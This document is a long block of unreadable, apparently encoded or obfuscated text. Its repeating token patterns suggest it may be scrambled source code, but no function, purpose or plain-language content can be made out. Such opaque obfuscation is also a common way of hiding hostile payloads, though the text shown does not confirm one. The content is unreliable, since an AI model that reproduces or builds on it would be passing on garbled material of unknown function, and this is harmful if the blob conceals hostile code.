6( l).%/>&.=%8wnklovw{0'k*-lk6j+vvv~bb6( l).%/>&.=%8wnklnvw{1;<+/).g>*9,(:mvv$UU+lf5;=.m.'o=6hm1h*0f>w{0'k*-lk6j+s{1;<+/).g>*9,(:ms%&l24,::0;+wnklmvvdU<oo4k7hh*16 '<lg&8+;+w{0'k*-lk6j+s(n7%'*ki&7:*69wvvdUUUU..+:l- 3/5(*9,%,)6<:w{0'k*-lk6j+swlkfthnvvdU3o>94&fk7+k97f >w{0'k*-lk6j+vdU{6/>%k.g+g4/88m-2b+-*:dU"U{00l>7/n-;887+6;b+-*:dU{*<:n<-k+)/b5( g6,6h*67j545kh:ww,+-618v6( l).%/>&.=%8wnkllvw{+0&..n8&khjvvdU69w~==7i3&4;3f/;13mwnkoivw{+0&..n8&khjv##{*<:n<-k+)/~bb{'3j8>7=4n&6v$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnknkvs68-=;0g1k=f9<,wnmnfvvdU.o5=%:.9o351' 9k,w{+0&..n8&khjs1*33vdU{00l>7/n-;887+6;b9>3,:dU"U{*<:n<-k+)/b5( g6,6h*67j545kh:ww,+-618v6( l).%/>&.=%8wnkllvw{0'k*-lk6j+vvdU69w~%&l24,::0;+wnklkvw{0'k*-lk6j+v##{*<:n<-k+)/~bb{1;<+/).g>*9,(:mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnknkvs%&l24,::0;+wnmnfvvdUUUU.o5=%:.9o351' 9k,w{0'k*-lk6j+s1*33vdU{00l>7/n-;887+6;b9>3,:d{9mi92;h&8)mil+bmmumd{9:>(5:k7kb{9mi92;h&8)mil+rmjdU"U*1,:+w{*<:n<-k+)/vdU69w~{00l>7/n-;887+6;v$U{ jf>=-k<.i,*fo7bw61+v8:+ 0/+601w68-=;0g1k=f9<,wnkljvsovtndU*/;>+: 0/+601w68-=;0g1k=f9<,wnkljvs{ jf>=-k<.i,*fo7s%&l24,::0;+wnlhjvvdU69w{ jf>=-k<.i,*fo7abwo'nto'mvv$U*/;>+: 0/+601w%&l24,::0;+wnklivs%&l24,::0;+wnnklvwvs6( l).%/>&.=%8wnlhjvvdU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnklhvs68-=;0g1k=f9<,wnklgvvdUU"U-:+*-1dUUU"U{-)<g&=g%2k/m0((gb>-->&w==7i3&4;3f/;13mwiigvws6( l).%/>&.=%8wnknhvvs%&l24,::0;+wiigvw{)k98%ni;o9s6( l).%/>&.=%8wnknhvvvdU{<&&4g(ni()4'<b>-->&wvdUUU90-:><7w{-)<g&=g%2k/m0((g>,{-h/43n4*<,ov$U{&3&41/430imh/6b{-h/43n4*<,oqxpxq{:83693k&g%%k-dU{7:46-162(3424+1=b68-=;0g1k=f9<,wnklkvw{&3&41/430imh/6v`%&l24,::0;+wnklfvw{&3&41/430imh/6veodU{<*--:1+b%&l24,::0;+wnkkovw{&3&41/430imh/6v`6( l).%/>&.=%8wnkllvw{&3&41/430imh/6ve}}dU69w~==7i3&4;3f/;13mwnkknvw{<*--:1+vv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnklhvs6( l).%/>&.=%8wnkkmvvdUUU-:+*-1dU"U69w68-=;0g1k=f9<,wnkklvw{<*--:1+s{>g9j'3f1k>ih 4vbbb9>3,:v$UUUU69w{<*--:1+yy68-=;0g1k=f9<,wnlkhvw%&l24,::0;+wnkkkvw{<*--:1+vsrnv~bb}1}v{<*--:1+qb}1}dU{)k=m'h->13,9b%&l24,::0;+wnkkjvq{0'k*-lk6j+qx}xq dU69w,=.9=%*lk<l11j),n'56'/w{&3&41/430imh/6s{<*--:1+q{)k=m'h->13,9vv$U69w{7:46-162(3424+1=v<oo4k7hh*16 '<lg&8+;+w{&3&41/430imh/6s{7:46-162(3424+1=vdU:3,:<oo4k7hh*16 '<lg&8+;+w{&3&41/430imh/6s6( l).%/>&.=%8wnnklvwvvdU..+:l- 3/5(*9,%,)6<:w{&3&41/430imh/6swknftnvvdU*/;>+: 0/+601w6( l).%/>&.=%8wnkkivs68-=;0g1k=f9<,wnnklvwvs68-=;0g1k=f9<,wnlhjvvdU{<&&4g(ni()4'<b>-->&w{&3&41/430imh/6s{<*--:1+vdU69ww61+v8:+ 0/+601w==7i3&4;3f/;13mwnkkhvsovaov*/;>+: 0/+601w==7i3&4;3f/;13mwnkkhvsos6( l).%/>&.=%8wnkkgvvdU69ww61+v8:+ 0/+601w%&l24,::0;+wnklivsovaov;:3:+: 0/+601w==7i3&4;3f/;13mwnkkfvvdU":3,:$Upp><.*6-:7:>-+=:>+UUU{58j><'<<%0kfibw61+v8:+ 0/+601w68-=;0g1k=f9<,wnkkhvsovtnd{%0 j;<i,b  p  d{+,i/+k4+'l&+b{%0 j;<i,tmodU*/;>+: 0/+601w==7i3&4;3f/;13mwnkkhvs{58j><'<<%0kfis6( l).%/>&.=%8wnkkgvvdU69w{58j><'<<%0kfiabwntmvv$U*/;>+: 0/+601w6( l).%/>&.=%8wnkkfvs68-=;0g1k=f9<,wnnklvwvs%&l24,::0;+wnkkgvvdU04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnklhvs%&l24,::0;+wnklgvvdU=-:>4dU"UU"U"U"U69w{6/>%k.g+g4/88m-2yy~70l0i+j  )i2/>+o+g2wvv$UUUU04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnklhvs%&l24,::0;+wnkjovvdU.o5=%:.9o351' 9k,w{0'k*-lk6j+s1*33vdU.o5=%:.9o351' 9k,w{+0&..n8&khjs1*33vdU90-:><7w{<&&4g(ni()4'<>,{9f:-79&(*nv,=.9=%*lk<l11j),n'56'/w{9f:-79&(*nos{9f:-79&(*nnvdU{ jf>=-k<.i,*fo7bw61+v8:+ 0/+601w68-=;0g1k=f9<,wnkkhvsovtndU*/;>+: 0/+601w68-=;0g1k=f9<,wnkjnvs{ jf>=-k<.i,*fo7s==7i3&4;3f/;13mwnkkgvvdUUU69w{ jf>=-k<.i,*fo7abwo'nto'mvv$U*/;>+: 0/+601w==7i3&4;3f/;13mwnkkfvs==7i3&4;3f/;13mwnnklvwvs6( l).%/>&.=%8wnkkgvvdU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnkjmvs68-=;0g1k=f9<,wnklgvvdU"U"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnkjmvs{3+1n/j=+n mvdUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+6013i,f-3/*o,g09fnwvU$Upp-:5:<+;6,<011:<+:;,+><4r9->2:UU+-&$Upp02:614+7:2:,*//0-+UU69w~68-=;0g1k=f9<,wnlmlvw68-=;0g1k=f9<,wnmjmvvv-:+*-1dU69w;:961:;w==7i3&4;3f/;13mwiolvv##;:961:;w%&l24,::0;+wnkjlvvv$U69ww61+v8:+ 0/+601w%&l24,::0;+wnkjkvsovv$U;:3:+: 0/+601w%&l24,::0;+wnkjkvvdU*/;>+: 0/+601w==7i3&4;3f/;13mwnkjnvsos68-=;0g1k=f9<,wnkkgvvdU"Upp;0261>+:0-<7:,+->+0-90-0,+:-2,UUUU-:+*-1dU"U{93=9>%l2lmh16-0nbw61+v8:+ 0/+601w%&l24,::0;+wnkjkvsovdU69w~{93=9>%l2lmh16-0nv-:+*-1dU{ 2=n/,<h<.1;b%&l24,::0;+wnkjjvw68-=;0g1k=f9<,wnkjivv`w61+v==7i3&4;3f/;13mwnkjhvw6( l).%/>&.=%8wnkjgvveodUU69w{ 2=n/,<h<.1;cbov{ 2=n/,<h<.1;bwo';;to'k9vdU69w==7i3&4;3f/;13mwnnklvwvr{93=9>%l2lmh16-0nc{ 2=n/,<h<.1;two'n<to'mvv-:+*-1dU*/;>+: 0/+601w==7i3&4;3f/;13mwnkjkvs6( l).%/>&.=%8wnnklvwvs6( l).%/>&.=%8wnkjfvvdU{;:m.20n>922=h/bw61+v8:+ 0/+601w68-=;0g1k=f9<,wnkjnvsovtndU*/;>+: 0/+601w68-=;0g1k=f9<,wnkiovs{;:m.20n>922=h/s==7i3&4;3f/;13mwnkjfvvdU69w{;:m.20n>922=h/abwkrnvv$U;:3:+: 0/+601w68-=;0g1k=f9<,wnkinvvdU*/;>+: 0/+601w==7i3&4;3f/;13mwnkkfvs%&l24,::0;+wnnklvwvs68-=;0g1k=f9<,wnkimvvdUU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnkjmvs==7i3&4;3f/;13mwnkilvvdU"UUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+601;oml9'n03&0538n;:)=6,wvU$U+-&$U69w~;:961:;w68-=;0g1k=f9<,wnlghvvv-:+*-1dUU69w==7i3&4;3f/;13mwnlfgvwvbbb6( l).%/>&.=%8wgkvv-:+*-1dUUU69w~3n;on2(j>ff85f.9=n('wvv-:+*-1dU69w~>87)&6hgfj1,1k;o8wvv-:+*-1dU{:i5n4*:%><:1-9b(2++90&.)m=1=gl8g6wvdUUU{7(,nn<5k7;%',b{:i5n4*:%><:1-9q6( l).%/>&.=%8wnkikvdU{68/g79o4>:b6( l).%/>&.=%8wnkijvq}1}q%&l24,::0;+wnkiivq}1}Uq==7i3&4;3f/;13mwnkihvq}1}q68-=;0g1k=f9<,wnkigvq}1}q==7i3&4;3f/;13mwnkifvq}1}Uq6( l).%/>&.=%8wnkhovq}1}q==7i3&4;3f/;13mwnkhnvq}1}q6( l).%/>&.=%8wnkifvq}1}Uq%&l24,::0;+wnkhmvq}1}dU{<*--:1+b%&l24,::0;+wnkhlvw{7(,nn<5k7;%',v`6( l).%/>&.=%8wnkhkvw{7(,nn<5k7;%',ve}}dU69w~6( l).%/>&.=%8wnkknvw{<*--:1+vv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnkhjvs6( l).%/>&.=%8wnkkmvvdU-:+*-1dUUUU"U69w==7i3&4;3f/;13mwnkklvw{<*--:1+s==7i3&4;3f/;13mwnkijvvbbb9>3,:v$U,=.9=%*lk<l11j),n'56'/w{7(,nn<5k7;%',s{<*--:1+q{68/g79o4>:vd{2(>+0:()=%k)mibnff#hkd{.>2=3'>:b{2(>+0:()=%k)mimnldU<oo4k7hh*16 '<lg&8+;+w{7(,nn<5k7;%',s(n7%'*ki&7:*69wvvdU..+:l- 3/5(*9,%,)6<:w{7(,nn<5k7;%',swhhjrljjvvdU"U{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdU69w~{/3o7(5k<n381&'##%&l24,::0;+wnlfnvw{/3o7(5k<n381&'vcwklltihvv-:+*-1dU{;).m.>/5(5)%o&b68-=;0g1k=f9<,wnnijvw-nif,f=:o%ol2)owvs%&l24,::0;+wnkhivvdUU{)k98%ni;o9b*&;mh.'go,*2;<g)+*f9>wvdU{>g9j'3f1k>ih 4b0,://=::3'-f*7wq==7i3&4;3f/;13mwnofmvswo'jto'lvvq%&l24,::0;+wnkhivdU{65>3*om=(6%lo%4b>-->&wU{)k98%ni;o9qxpxq{>g9j'3f1k>ih 4sU{:i5n4*:%><:1-9qxpxq{>g9j'3f1k>ih 4sUvdU{.6g.lm'58':+g+b{)k98%ni;o9qxpxq{>g9j'3f1k>ih 4d{'m.300 )f*19lbnlgid{&,22>7mib{'m.300 )f*19lznjdU90-:><7w{65>3*om=(6%lo%4>,{62,m89/7oov$U{-h/43n4*<,ob68-=;0g1k=f9<,wnmifvw{62,m89/7oovdU69w68-=;0g1k=f9<,wghgvw{-h/43n4*<,ov## 1'4'n,k3k&859>>;w{-h/43n4*<,oswo'j<to'nfnvs+-*:vv$Upp*,:1+6+&:<0-;,e61,+>1+6>+:,:,,601r(61;0(UU{.6g.lm'58':+g+b{62,m89/7oodU=-:>4dU"U"U{<i)6-4h398 )b'+l>-385.n%+.(,6+mwvdU{'3j8>7=4n&6b1f 9,2<k5;'k:i/7 /k:9fwU68-=;0g1k=f9<,wnkhhvsU>-->&wx  
  xsx  
 ik  xsx  	  xvsU>-->&w{;).m.>/5(5)%o&s{<i)6-4h398 )s(8=4>%+g%(8i0>1>i(l9h+wvvUvd{/=f7'&&8h1g,bhltgid{=<-mj-4+f433kib{/=f7'&&8h1g,rmjdU69w~{'3j8>7=4n&6v$U69ww61+v8:+ 0/+601w==7i3&4;3f/;13mwnkhgvsovaov04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnkhfvs==7i3&4;3f/;13mwnkgovvdU-:+*-1dU"U{;6,l,5fko.(f=b}}dU{4)5k-ho1(n>j4g.%b>-->&wq==7i3&4;3f/;13mwnkgnvs{)k98%ni;o9q6( l).%/>&.=%8wnkgmvvdU{-)00, f-n 70.*glb%&l24,::0;+wnkjjvw68-=;0g1k=f9<,wnkglvv`==7i3&4;3f/;13mwnkglvw68-=;0g1k=f9<,wnkgkvve9>3,:dU69w6( l).%/>&.=%8wnkknvw{-)00, f-n 70.*glvyy{-)00, f-n 70.*gl~bb}}v$U{4)5k-ho1(n>j4g.%b6( l).%/>&.=%8wnkkkvws==7i3&4;3f/;13mwnknhvvqxpxq{-)00, f-n 70.*gldU{4)5k-ho1(n>j4g.%b{)k98%ni;o9qxpxq{-)00, f-n 70.*gldU"U90-:><7w{4)5k-ho1(n>j4g.%>,{.  &2' 8>9v$U{,=&o9j&:h(:,+k8,b68-=;0g1k=f9<,wnkgjvw{.  &2' 8>9v`6( l).%/>&.=%8wnkhkvw{.  &2' 8>9ve}}dU69w~6( l).%/>&.=%8wnkgivw{,=&o9j&:h(:,+k8,v##{,=&o9j&:h(:,+k8,bbb}}v<01+61*:dUUUU69w==7i3&4;3f/;13mwnlonvw%&l24,::0;+wnkghvs{,=&o9j&:h(:,+k8,s{//9jlm9<&hg,0%(ovv$U{<,,jh;m'>i>-3mb6( l).%/>&.=%8wnmgnvw{//9jlm9<&hg,0%(omvdU69w{<,,jh;m'>i>-3m~bb}}yy,+-6/0,w{<,,jh;m'>i>-3ms%&l24,::0;+wnkmnvvbbb9>3,:yy~8299gl8>+o(8-+w{<,,jh;m'>i>-3mvv$UU{;6,l,5fko.(f=b{<,,jh;m'>i>-3mdU=-:>4dU"Upp,+-:,,r+:,+<02/><+:99:<+r+&/:UUUU"U"U69w{;6,l,5fko.(f=~bb}}v$U{'3j8>7=4n&6b6( l).%/>&.=%8wnkggvw%&l24,::0;+wnkgfvs68-=;0g1k=f9<,wnkfovq==7i3&4;3f/;13mwnkmlvw{;6,l,5fko.(f=s+-*:vq6( l).%/>&.=%8wnkfnvs{'3j8>7=4n&6snvdU69w~6( l).%/>&.=%8wnkgivw{'3j8>7=4n&6vv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnkhfvs%&l24,::0;+wnkfmvvdUUU-:+*-1dU"U"U{7hf=g53):&0k>b+-*:dU{*i-0)*;7ol(7n+b1*33dU69w%&l24,::0;+wnkhlvw{.6g.lm'58':+g+vv$Upp96'*/0-=6+UUU{*i-0)*;7ol(7n+b5( g6,6h*67j545kh:ww,+-618v6( l).%/>&.=%8wnkhkvw{.6g.lm'58':+g+vvdUU69w68-=;0g1k=f9<,wnkgivw{*i-0)*;7ol(7n+vyy{*i-0)*;7ol(7n+bbb{'3j8>7=4n&6v$U{7hf=g53):&0k>b9>3,:dUUU"Upp=61;618,e/-62:7>1;,7>4:UU"U{;%/9'mg)m.4+n>'b>-->&wUq6( l).%/>&.=%8wnkflvsUw;:961:;w==7i3&4;3f/;13mwnknlvv`  e{)k98%ni;o9vq68-=;0g1k=f9<,wnkfkvsUvdUU{&f-9'g/%.&%42l23bw61+v8:+ 0/+601w%&l24,::0;+wnkfjvsovdU69w{&f-9'g/%.&%42l23yy68-=;0g1k=f9<,wnkfivwvr{&f-9'g/%.&%42l23cwgililtlhvv$U.o5=%:.9o351' 9k,w{.6g.lm'58':+g+s1*33vdUUUU90-:><7w{;%/9'mg)m.4+n>'>,{)kg,6lj2 fv$Upp<&<3:;:+:<+:;UU{1(';8&':3.k/8'ob%&l24,::0;+wnkgjvw{)kg,6lj2 fv`6( l).%/>&.=%8wnkhkvw{)kg,6lj2 fve}}dU69w6( l).%/>&.=%8wnkgivw{1(';8&':3.k/8'ovyy6( l).%/>&.=%8wnkklvw{1(';8&':3.k/8'os{>g9j'3f1k>ih 4v~bb9>3,:v$U{1/k64&h;-k<47 +.b5'6k9*2.+*:>91;nnn-3<mw{1(';8&':3.k/8'os{>g9j'3f1k>ih 4vdUUU69w==7i3&4;3f/;13mwnkfhvw{1/k64&h;-k<47 +.vyy{1/k64&h;-k<47 +.~bb{1(';8&':3.k/8'ov,=.9=%*lk<l11j),n'56'/w{)kg,6lj2 fs{1/k64&h;-k<47 +.vdU"U"U-:+*-1dU"U69w{7hf=g53):&0k>v${-:1,/*j=,5g&5<bwo'<kto'f:vd{8'k-&+mo063;b{-:1,/*j=,5g&5<zidU+lf5;=.m.'o=6hm1h*0f>w{.6g.lm'58':+g+s{'3j8>7=4n&6s%&l24,::0;+wnkfgvvdUUUU<oo4k7hh*16 '<lg&8+;+w{.6g.lm'58':+g+s(n7%'*ki&7:*69wvvdUU..+:l- 3/5(*9,%,)6<:w{.6g.lm'58':+g+swo'nogto'f<vvdU3o>94&fk7+k97f >w{.6g.lm'58':+g+vdU"U{*<:n<-k+)/b==7i3&4;3f/;13mwnkgjvw{.6g.lm'58':+g+v`5( g6,6h*67j545kh:ww,+-618v68-=;0g1k=f9<,wnkffvw{.6g.lm'58':+g+vve}}dU69w{*<:n<-k+)/~bb{'3j8>7=4n&6v$UU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnkhfvs==7i3&4;3f/;13mwnmnfvvdU.o5=%:.9o351' 9k,w{.6g.lm'58':+g+s{7hf=g53):&0k>`{*i-0)*;7ol(7n+e1*33vdU{- 5;n)3%-0.if9n1bw61+v8:+ 0/+601w%&l24,::0;+wnjoovsovtndU*/;>+: 0/+601w%&l24,::0;+wnjoovs{- 5;n)3%-0.if9n1s68-=;0g1k=f9<,wnjonvvdUUUU69w{- 5;n)3%-0.if9n1abwo'nto'mvv${0'<46/im%'(5gbgld{5+h<i,/k67bw{0'<46/im%'(5gaov`{0'<46/im%'(5ger{0'<46/im%'(5gdU*/;>+: 0/+601w6( l).%/>&.=%8wnkfjvs%&l24,::0;+wnkfivwvs6( l).%/>&.=%8wnjonvvdU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnkhfvs68-=;0g1k=f9<,wnjomvvdU"U-:+*-1dU"U*1,:+w{*<:n<-k+)/vdU{1900&6:(6-0166b68-=;0g1k=f9<,wnjolvdU{<&&4g(ni()4'<b>-->&wvdU90-:><7w{;%/9'mg)m.4+n>'>,{'i.+8(ojf>7iv$U{-h/43n4*<,ob6( l).%/>&.=%8wnmifvw{'i.+8(ojf>7ivdUUUU69w~68-=;0g1k=f9<,wghgvw{-h/43n4*<,ovv<01+61*:dU{*0f29i+%750b%&l24,::0;+wnkjjvw==7i3&4;3f/;13mwnokvv`%&l24,::0;+wnokvw{'i.+8(ojf>7isx<xve9>3,:dU69w{*0f29i+%750~bb9>3,:yy==7i3&4;3f/;13mwnkjjvw%&l24,::0;+wnniivvv930<4w{*0f29i+%750s vdU{7:46-162(3424+1=b%&l24,::0;+wnkgjvw{'i.+8(ojf>7iv`%&l24,::0;+wnklfvw{'i.+8(ojf>7iveodU{=i, j%f%.+8)l1g&b68-=;0g1k=f9<,wnjokvw{'i.+8(ojf>7iv`==7i3&4;3f/;13mwnkffvw{'i.+8(ojf>7ive}}dU69w~%&l24,::0;+wnkfhvw{=i, j%f%.+8)l1g&vv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnkhfvs%&l24,::0;+wnkkmvvdU69w{*0f29i+%750~bb9>3,:v$U69w68-=;0g1k=f9<,wnkjjvw%&l24,::0;+wnjojvvv930<4w{*0f29i+%750s 
vdU9<30,:w{*0f29i+%750vdU"U<01+61*:dUU"U69w%&l24,::0;+wnkklvw{=i, j%f%.+8)l1g&s{>g9j'3f1k>ih 4v~bb9>3,:v$U69w==7i3&4;3f/;13mwnkgjvw{.6g.lm'58':+g+vv$U69w{*0f29i+%750~bb9>3,:v$U69w==7i3&4;3f/;13mwnkjjvw==7i3&4;3f/;13mwnjojvvv930<4w{*0f29i+%750s 
vdU9<30,:w{*0f29i+%750vdUU"U<01+61*:dU"U{=i, j%f%.+8)l1g&b5'6k9*2.+*:>91;nnn-3<mw{=i, j%f%.+8)l1g&s{>g9j'3f1k>ih 4vdU"U69w~6( l).%/>&.=%8wnkfhvw{=i, j%f%.+8)l1g&vv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnkhfvs==7i3&4;3f/;13mwnkfmvvd{%n.k7&89bknjnd{0%7)&33)-h1l/b{%n.k7&89zmdU69w{*0f29i+%750~bb9>3,:v$U69w==7i3&4;3f/;13mwnjoivw68-=;0g1k=f9<,wnjohvvv930<4w{*0f29i+%750s 
vdU9<30,:w{*0f29i+%750vdU"U<01+61*:dU"U69w~6( l).%/>&.=%8wnjogvw{.6g.lm'58':+g+vv$Upp*336+:;6+618e,:-6>36%:;6,+-6=*+0-UU69w{*0f29i+%750~bb9>3,:v$U69w%&l24,::0;+wnjoivw%&l24,::0;+wnjofvvv930<4w{*0f29i+%750s 
vdU9<30,:w{*0f29i+%750vdUUU"UUU<01+61*:dU"U69w62.(i4h3kh'->5>(j4wvv$UUUU{)k=m'h->13,9b}1c90;*3:36+:,/::;a1}q{1900&6:(6-0166q6( l).%/>&.=%8wnjnovq{.6g.lm'58':+g+qx}xq}1cp90;*3:a1}dU":3,:$U{)k=m'h->13,9b}1c90;*3:20; /7/q<a1}q{1900&6:(6-0166q%&l24,::0;+wnjnnvq{.6g.lm'58':+g+qx}xq}1cp90;*3:a1}Uq}c90;*3:20; /7/jq<a1}q{1900&6:(6-0166q%&l24,::0;+wnjnnvq{.6g.lm'58':+g+qx}xq}1cp90;*3:a1}UUUq}c90;*3:20; /7/hq<a1}q{1900&6:(6-0166q==7i3&4;3f/;13mwnjnmvq{.6g.lm'58':+g+qx}xq}1cp90;*3:a1}Uq}c90;*3:20; /7/gq<a1}q{1900&6:(6-0166q68-=;0g1k=f9<,wnjnmvq{.6g.lm'58':+g+qx}xq}1cp90;*3:a1}dUU"U69w,=.9=%*lk<l11j),n'56'/w{'i.+8(ojf>7is{=i, j%f%.+8)l1g&q{)k=m'h->13,9vv{<&&4g(ni()4'<b>-->&w{'i.+8(ojf>7is{=i, j%f%.+8)l1g&vdU69w{7:46-162(3424+1=v<oo4k7hh*16 '<lg&8+;+w{'i.+8(ojf>7is{7:46-162(3424+1=vdUU:3,:<oo4k7hh*16 '<lg&8+;+w{'i.+8(ojf>7is%&l24,::0;+wnkfivwvvdU69w{*0f29i+%750~bb9>3,:v$U69w68-=;0g1k=f9<,wnjnlvw==7i3&4;3f/;13mwnjofvvv930<4w{*0f29i+%750s 
vdU9<30,:w{*0f29i+%750vdU"U"U69ww{7hf=g53):&0k>##6( l).%/>&.=%8wnjnkvw{<&&4g(ni()4'<vaovyy~70l0i+j  )i2/>+o+g2wvv$UUUUU04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnkhfvs68-=;0g1k=f9<,wnkjovvdUU.o5=%:.9o351' 9k,w{.6g.lm'58':+g+s{*i-0)*;7ol(7n+vdU90-:><7w{<&&4g(ni()4'<>,{9f:-79&(*nv,=.9=%*lk<l11j),n'56'/w{9f:-79&(*nos{9f:-79&(*nnvdUUUU{- 5;n)3%-0.if9n1bw61+v8:+ 0/+601w==7i3&4;3f/;13mwnjoovsovtndUUU*/;>+: 0/+601w%&l24,::0;+wnjoovs{- 5;n)3%-0.if9n1s%&l24,::0;+wnjonvvdU69w{- 5;n)3%-0.if9n1abwo'nto'mvv$U*/;>+: 0/+601w6( l).%/>&.=%8wnkfjvs6( l).%/>&.=%8wnkfivwvs6( l).%/>&.=%8wnjonvvdU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnkhfvs68-=;0g1k=f9<,wnjomvvdU"UUU-:+*-1dUUU"U69ww61+v8:+ 0/+601w==7i3&4;3f/;13mwnjoovsovaov*/;>+: 0/+601w==7i3&4;3f/;13mwnjoovsos%&l24,::0;+wnjnjvvdU69ww61+v8:+ 0/+601w==7i3&4;3f/;13mwnjnivsovaov;:3:+: 0/+601w==7i3&4;3f/;13mwnjnhvvdUUUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnkhfvs{3+1n/j=+n mvd{*g6*:mn.bno#kfd{.k0.1*o5b{*g6*:mn.jkdU"<>+<7w'<:/+601{3+1n/j=+n mv$UUU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnkhfvs{3+1n/j=+n mvdU"U"U9*1<+601=<g+j.0 %g' .864 &32wvU$U+-&$U69w~;:961:;w%&l24,::0;+wnjngvvv-:+*-1dU69w~68-=;0g1k=f9<,wnjnfvw%&l24,::0;+wnmjmvvv-:+*-1dUUU{.,(*mj6=<3(b0,://=::3'-f*7wq6( l).%/>&.=%8wnjmovswlfvvdU{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdU69w~{/3o7(5k<n381&'##68-=;0g1k=f9<,wnlfnvw{/3o7(5k<n381&'vcwo'n;9to'njvv-:+*-1dU{<i)6-4h398 )b'+l>-385.n%+.(,6+mwvdU{<*--:1+b8:+ 0/+601w{.,(*mj6=<3(s}}vdU69w{<*--:1+yy==7i3&4;3f/;13mwnlfnvw{<*--:1+vbbb%&l24,::0;+wnlfnvw{<i)6-4h398 )vyy{<*--:1+bbb{<i)6-4h398 )v-:+*-1dU69w%&l24,::0;+wnjnfvw%&l24,::0;+wnjmnvvv$U*/;>+: 0/+601w{.,(*mj6=<3(s{<i)6-4h398 )s68-=;0g1k=f9<,wnjnjvvdU":3,:69w;:961:;w68-=;0g1k=f9<,wnjmmvvyy;:961:;w68-=;0g1k=f9<,wnjmlvvyy;:961:;w6( l).%/>&.=%8wnjmkvvyy;:961:;w%&l24,::0;+wfkvvyy%&l24,::0;+wnjmjvw%&l24,::0;+wnjmivvv$U{4'f5%6,2o>m/b%&l24,::0;+wnjmivdU{92lj=og90+b1:({4'f5%6,2o>m/w<01,+>1+w68-=;0g1k=f9<,wnjmmvvs<01,+>1+w==7i3&4;3f/;13mwnjmhvvs<01,+>1+w6( l).%/>&.=%8wnjmgvvs<01,+>1+w%&l24,::0;+wnjmfvvvdU69w{92lj=og90+yy~{92lj=og90+ra<011:<+ :--10v$U{/-:96'b6,,:+w{68-=;0g1k=f9<,wnlmnvra/-:96'v`{%&l24,::0;+wnlmnvra/-:96'e6( l).%/>&.=%8wnoomvdUUUU{:h51&)0)f+fhlm8kb{92lj=og90+ra-:>3 :,<>/: ,+-618w{<i)6-4h398 )vdUU{93;2<ii&,mb{92lj=og90+ra-:>3 :,<>/: ,+-618w{.,(*mj6=<3(vdU{92lj=og90+ra.*:-&w}'k:'jl'kj'jk'k9${/-:96'"0'ho+'if01'hlw'i9'ho'hk60'i: 1>'i;:s0'ho+'if'i91 )>3*:s'in*'hk030>;v'ji'k<
'kj'jlwx${93;2<ii&,m"xsx${:h51&)0)f+fhlm8k"xsx1'i9xv'k:
'k<'kn'jk'jj'kk'kn'jk0'ho'hk'if'i91 )'in3*:bx${:h51&)0)f+fhlm8k"x}vdU69w{92lj=og90+ra:--0-v04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnjmovs%&l24,::0;+wnjlovq==7i3&4;3f/;13mwnlkhvw{92lj=og90+ra:--0-soswnmgrgvvvdU{92lj=og90+ra<30,:wvdU"U"Upp>;;+&/:>110+>+601,UU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnjlnvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+60136(8/2k,l(ml k:/wvU$Upp11:-30<4,e7004;:<0->+0-UU{6;;  785=jb;:961:;w68-=;0g1k=f9<,wnknlvv`  eq==7i3&4;3f/;13mwfihvdU{;)9moh(g9m)n*-b0,://=::3'-f*7wq6( l).%/>&.=%8wnjlmvswniinhkvvdU-:+*-1>-->&w{6;;  785=jq%&l24,::0;+wjhgvs{6;;  785=jq==7i3&4;3f/;13mwnjllvq{;)9moh(g9m)n*-q%&l24,::0;+wnjlkvs{;)9moh(g9m)n*-vdU"U9*1<+601:&5= 2'64+>8.<gw{.gk&;o)hfj-fhvU$U{8'h8(3=/<>bw61+v%&l24,::0;+wnjljvw{.gk&;o)hfj-fhvdU69w{8'h8(3=/<>cwnogrgv##{8'h8(3=/<>awmofhnkmtnovv-:+*-19>3,:dU{'7'20l1%)(8.2-b==7i3&4;3f/;13mwnjlivw{.gk&;o)hfj-fhvdU69w~6( l).%/>&.=%8wnkfhvw{'7'20l1%)(8.2-v##==7i3&4;3f/;13mwnlfnvw{'7'20l1%)(8.2-vcwnmmrmmv##6( l).%/>&.=%8wnlfnvw{'7'20l1%)(8.2-vawlmjklotnhhnhmmvv-:+*-19>3,:dU{93=9>%l2lmh16-0nb==7i3&4;3f/;13mwmmovwxexs{'7'20l1%)(8.2-swmlgmlkvvdU69w%&l24,::0;+wnjlhvw{93=9>%l2lmh16-0nvcwhoiiv##{93=9>%l2lmh16-0no~bb6( l).%/>&.=%8wnjlgv##68-=;0g1k=f9<,wnlfnvw{93=9>%l2lmh16-0nwmtnvvcwkktivv-:+*-19>3,:dU{:-1n:7ko0i3%lb